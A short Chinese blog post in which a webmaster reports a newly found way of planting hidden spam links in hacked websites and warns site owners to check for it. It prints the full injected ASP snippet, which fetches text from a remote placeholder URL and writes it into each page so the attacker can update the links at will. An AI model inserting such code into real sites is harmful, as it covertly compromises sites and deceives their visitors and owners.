发现一新的隐藏链接方法

今天在处理一个网站被挂链接的事件中发现了一个新的放隐藏链接办法，以前见过的一般都是marquee大小为1或者使用CSS隐藏的方法，今天发现的这个方法居然还可以随时更新该链接，越来越难发现并更智能化了。不多说了，先把今天发现的代码发来，供广大站长参考，检查自己的网站有无类似代码。

代码如下：

    <%
On Error Resume Next
Server.ScriptTimeOut=9999999
response.write(getHTTPPage("网址"))
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>

上面的“网址”就是存放链接文本的网址，利用这段代码就可以随时更新链接而无需再到原始网站进行更新，如果这些人把心思用到正道上那该多好啊，广大站长尽快查一下自己的网站是否有这样的代码了。

未经允许不得转载：聚友 » 发现一新的隐藏链接方法